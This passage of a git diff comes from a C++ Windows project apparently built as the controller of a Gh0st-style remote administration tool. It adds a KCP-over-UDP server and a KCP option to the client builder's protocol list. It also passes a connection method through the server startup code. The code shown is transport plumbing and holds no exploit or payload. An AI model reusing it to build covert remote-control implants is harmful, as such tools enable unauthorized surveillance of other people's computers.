std::string& input) { return lines; } -BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection) +BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method) { UINT ret = 0; - if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection)) !=0 ) + if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 ) { Mprintf("======> StartServer Failed \n"); char cmd[200]; @@ -1712,7 +1710,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection) auto cmd = std::string("taskkill /f /pid ") + line; exec(cmd.c_str()); } - return Activate(nPort, nMaxConnection); + return Activate(nPort, nMaxConnection, method); } }else MessageBox("璋冪敤鍑芥暟StartServer澶辫触! 閿欒浠ｇ爜:" + CString(std::to_string(ret).c_str())); @@ -2114,6 +2112,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) { ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1); // 鍥炲蹇冭烦 + // if(0) { HeartbeatACK ack = { hb.Time }; BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK}; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 1283c67..1bac030 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -169,7 +169,7 @@ public: VOID CreateNotifyBar(); VOID CreateSolidMenu(); int m_nMaxConnection; - BOOL Activate(const std::string& nPort,int nMaxConnection); + BOOL Activate(const std::string& nPort,int nMaxConnection, const std::string& method); void UpdateActiveWindow(CONTEXT_OBJECT* ctx); void SendMasterSettings(CONTEXT_OBJECT* ctx); VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 2c69785..7195bbd 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -252,6 +252,7 @@ + @@ -273,6 +274,7 @@ + @@ -317,6 +319,12 @@ NotUsing NotUsing + + NotUsing + NotUsing + NotUsing + NotUsing + @@ -335,6 +343,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 1ce6ccd..5750768 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -50,6 +50,8 @@ + + @@ -112,6 +114,8 @@ + + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 94f6935..e84dc66 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -269,6 +269,8 @@ BOOL CBuildDlg::OnInitDialog() m_ComboProto.InsertString(PROTO_TCP, "TCP"); m_ComboProto.InsertString(PROTO_UDP, "UDP"); m_ComboProto.InsertString(PROTO_HTTP, "HTTP"); + m_ComboProto.InsertString(PROTO_HTTPS, "---"); + m_ComboProto.InsertString(PROTO_KCP, "KCP"); m_ComboProto.SetCurSel(PROTO_TCP); m_ComboEncrypt.InsertString(PROTOCOL_SHINE, "Shine"); diff --git a/server/2015Remote/IOCPKCPServer.cpp b/server/2015Remote/IOCPKCPServer.cpp new file mode 100644 index 0000000..437ceef --- /dev/null +++ b/server/2015Remote/IOCPKCPServer.cpp @@ -0,0 +1,226 @@ +#include "stdafx.h" +#include "IOCPKCPServer.h" +#include "IOCPServer.h" + +IUINT32 IOCPKCPServer::iclock() { + static LARGE_INTEGER freq = {}; + static BOOL useQpc = QueryPerformanceFrequency(&freq); + if (useQpc) { + LARGE_INTEGER now; + QueryPerformanceCounter(&now); + return (IUINT32)(1000 * now.QuadPart / freq.QuadPart); + } + else { + return GetTickCount(); + } +} + + +CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket) { + char buf[64]; + sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port)); + std::string key = buf; + std::lock_guard lock(m_contextsMutex); + + auto it = m_clients.find(key); + if (it != m_clients.end()) { + return it->second; + } + + // 新建 CONTEXT_KCP + CONTEXT_KCP* ctx = new CONTEXT_KCP(); + ctx->InitMember(sClientSocket, this); + ctx->clientAddr = addr; + + // 初始化 kcp + IUINT32 conv = KCP_SESSION_ID; + ctx->kcp = ikcp_create(conv, ctx); + + ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int { + CONTEXT_KCP* c = (CONTEXT_KCP*)user; + WSABUF wsaBuf = { len, (CHAR*)buf }; + DWORD sent = 0; + // 根据ctx存储的IP端口发送 + // 注意：要保证 ctx 对应客户端地址，且 sClientSocket 正确 + int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0, + (sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL); + if (ret == SOCKET_ERROR) { + DWORD err = WSAGetLastError(); + // 可以打印错误日志 + return -1; + } + return 0; + }; + + ikcp_nodelay(ctx->kcp, 1, 10, 2, 1); + ikcp_wndsize(ctx->kcp, 128, 128); + + m_clients[key] = ctx; + + return ctx; +} + +UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { + if (m_running) return 1; + + m_port = uPort; + m_notify = NotifyProc; + m_offline = OffProc; + + m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED); + if (m_socket == INVALID_SOCKET) return 2; + + sockaddr_in addr{}; + addr.sin_family = AF_INET; + addr.sin_port = htons(uPort); + addr.sin_addr.s_addr = INADDR_ANY; + + if (bind(m_socket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) return 3; + + m_hIOCP = CreateIoCompletionPort((HANDLE)m_socket, NULL, 0, 0); + if (!m_hIOCP) return 4; + + m_running = true; + + // 启动IOCP工作线程 + m_hThread = CreateThread(NULL, 0, [](LPVOID param) -> DWORD { + ((IOCPKCPServer*)param)->WorkerThread(); + return 0; + }, this, 0, NULL); + + // 启动KCP定时更新线程 + m_kcpUpdateThread = std::thread(&IOCPKCPServer::KCPUpdateLoop, this); + + Mprintf("IOCPKCPServer StartServer: %p\n", this); + + return 0; +} + +void IOCPKCPServer::WorkerThread() { + char buf[1500]; + sockaddr_in clientAddr; + int addrLen = sizeof(clientAddr); + + while (m_running) { + int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen); + if (ret > 0) { + CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket); + if (ctx && ctx->kcp) { + { + std::lock_guard lock(m_contextsMutex); + ikcp_input(ctx->kcp, buf, ret); + } + + char recvbuf[4096]; + int n = 0; + do { + { + std::lock_guard lock(m_contextsMutex); + n = ikcp_recv(ctx->kcp, recvbuf, sizeof(recvbuf)); + } + if (n > 0&& m_notify) { + memcpy(ctx->szBuffer, recvbuf, n); + BOOL ret = ParseReceivedData(ctx, n, m_notify); + } + }while (n>0); + } + } + else { + DWORD err = WSAGetLastError(); + if (err != WSAEWOULDBLOCK && err != WSAEINTR) { + // 打印错误或做其他处理 + } + } + } + Mprintf("IOCPKCPServer WorkerThread DONE: %p\n", this); +} + +void IOCPKCPServer::KCPUpdateLoop() { + while (m_running) { + IUINT32 current = iclock(); + + std::lock_guard lock(m_contextsMutex); + for (auto& kv : m_clients) { + CONTEXT_KCP* ctx = kv.second; + if (ctx && ctx->kcp) { + ikcp_update(ctx->kcp, current); + } + } + + Sleep(10); + } +} + +void IOCPKCPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) { + if (!ContextObject || !ContextObject->kcp) return; + ContextObject->OutCompressedBuffer.ClearBuffer(); + if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength)) + return; + { + std::lock_guard lock(m_contextsMutex); + + ikcp_send(ContextObject->kcp, + (const char*)ContextObject->OutCompressedBuffer.GetBuffer(), + (int)ContextObject->OutCompressedBuffer.GetBufferLength()); + ikcp_flush(ContextObject->kcp); + } +} + +void IOCPKCPServer::Destroy() { + Mprintf("IOCPKCPServer Destroy: %p\n", this); + + m_running = false; + + if (m_socket != INVALID_SOCKET) { + closesocket(m_socket); + m_socket = INVALID_SOCKET; + } + + if (m_hThread) { + WaitForSingleObject(m_hThread, INFINITE); + CloseHandle(m_hThread); + m_hThread = NULL; + } + + if (m_kcpUpdateThread.joinable()) + m_kcpUpdateThread.join(); + + if (m_hIOCP) { + CloseHandle(m_hIOCP); + m_hIOCP = NULL; + } + + // 清理所有客户端 + std::lock_guard lock(m_contextsMutex); + for (auto& kv : m_clients) { + if (kv.second) { + if (kv.second->kcp) { + ikcp_release(kv.second->kcp); + kv.second->kcp = nullptr; + } + delete kv.second; + } + } + m_clients.clear(); +} + +void IOCPKCPServer::Disconnect(CONTEXT_OBJECT* ctx) { + if (!ctx) return; + + std::string key = ctx->PeerName; + { + std::lock_guard lock(m_contextsMutex); + auto it = m_clients.find(key); + if (it != m_clients.end()) { + if (it->second == ctx) { + if (m_offline) m_offline(ctx); + if (ctx->kcp) { + ikcp_release(ctx->kcp); + ctx->kcp = nullptr; + } + delete ctx; + m_clients.erase(it); + } + } + } +} diff --git a/server/2015Remote/IOCPKCPServer.h b/server/2015Remote/IOCPKCPServer.h new file mode 100644 index 0000000..8cdf0de --- /dev/null +++ b/server/2015Remote/IOCPKCPServer.h @@ -0,0 +1,67 @@ +#pragma once + +#include "Server.h" + +class CONTEXT_KCP : public CONTEXT_OBJECT { +public: + int addrLen = 0; + sockaddr_in clientAddr = {}; + CONTEXT_KCP() { + } + virtual ~CONTEXT_KCP() { + } + std::string GetProtocol() const override { + return "KCP"; + } + VOID InitMember(SOCKET s, Server* svr) override { + CONTEXT_OBJECT::InitMember(s, svr); + clientAddr = {}; + addrLen = sizeof(sockaddr_in); + } + void Destroy() override { + } + virtual std::string GetPeerName() const override { + char client_ip[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); + return client_ip; + } + virtual int GetPort() const override { + int client_port = ntohs(clientAddr.sin_port); + return client_port; + } +}; + +class IOCPKCPServer : public Server { +public: + IOCPKCPServer(){} + virtual ~IOCPKCPServer(){} + + virtual int GetPort() const override { return m_port; } + virtual UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) override; + virtual void Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) override; + virtual void Destroy() override; + virtual void Disconnect(CONTEXT_OBJECT* ctx) override; + +private: + SOCKET m_socket = INVALID_SOCKET; + HANDLE m_hIOCP = NULL; + HANDLE m_hThread = NULL; + bool m_running = false; + USHORT m_port = 0; + + pfnNotifyProc m_notify = nullptr; + pfnOfflineProc m_offline = nullptr; + + std::mutex m_contextsMutex; + std::unordered_map m_clients; // key: "IP:port" + + std::thread m_kcpUpdateThread; + + CONTEXT_KCP* FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket); + + void WorkerThread(); + + void KCPUpdateLoop(); + + static IUINT32 iclock(); +}; diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index ea81374..dca7059 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -9,6 +9,7 @@ #define XXH_INLINE_ALL #include "xxhash.h" #include +#include #define PACKET_LENGTH 0x2000 @@ -309,7 +310,12 @@ public: typedef class CONTEXT_OBJECT : public context { public: - virtual ~CONTEXT_OBJECT(){} + virtual ~CONTEXT_OBJECT(){ + if (kcp) { + ikcp_release(kcp); + kcp = nullptr; + } + } CString sClientInfo[ONLINELIST_MAX]; CString additonalInfo[RES_MAX]; SOCKET sClientSocket; @@ -330,6 +336,7 @@ public: BOOL bLogin; // 是否 login std::string PeerName; // 对端IP Server* server; // 所属服务端 + ikcpcb* kcp = nullptr; // 新增，指向KCP会话 std::string GetProtocol() const override { return Parser.m_Masker && Parser.m_Masker->GetMaskType() == MaskTypeNone ? "TCP" : "HTTP"; diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp index c05c5fb..62761cd 100644 --- a/server/2015Remote/SettingDlg.cpp +++ b/server/2015Remote/SettingDlg.cpp @@ -21,6 +21,7 @@ CSettingDlg::CSettingDlg(CWnd* pParent) , m_nReportInterval(5) , m_sSoftwareDetect(_T("摄像头")) , m_sPublicIP(_T("")) + , m_sUdpOption(_T("")) { } @@ -49,6 +50,9 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_EDIT_PUBLIC_IP, m_EditPublicIP); DDX_Text(pDX, IDC_EDIT_PUBLIC_IP, m_sPublicIP); DDV_MaxChars(pDX, m_sPublicIP, 100); + DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption); + DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption); + DDV_MaxChars(pDX, m_sUdpOption, 24); } BEGIN_MESSAGE_MAP(CSettingDlg, CDialog) @@ -70,6 +74,7 @@ BOOL CSettingDlg::OnInitDialog() m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str(); m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP; std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543"); + m_sUdpOption = THIS_CFG.GetStr("settings", "UDPOption", "").c_str(); int DXGI = THIS_CFG.GetInt("settings", "DXGI"); @@ -132,6 +137,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply() UpdateData(TRUE); THIS_CFG.SetStr("settings", "master", m_sPublicIP.GetBuffer()); THIS_CFG.SetStr("settings", "ghost", m_nListenPort.GetString()); + THIS_CFG.SetStr("settings", "UDPOption", m_sUdpOption.GetString()); int n = m_ComboScreenCapture.GetCurSel(); THIS_CFG.SetInt("settings", "DXGI", n); diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h index 87410d6..24c85db 100644 --- a/server/2015Remote/SettingDlg.h +++ b/server/2015Remote/SettingDlg.h @@ -40,4 +40,6 @@ public: CString m_sPublicIP; afx_msg void OnBnClickedRadioAllScreen(); afx_msg void OnBnClickedRadioMainScreen(); + CEdit m_EditUdpOption; + CString m_sUdpOption; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 572ae9c..9c83c8e 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ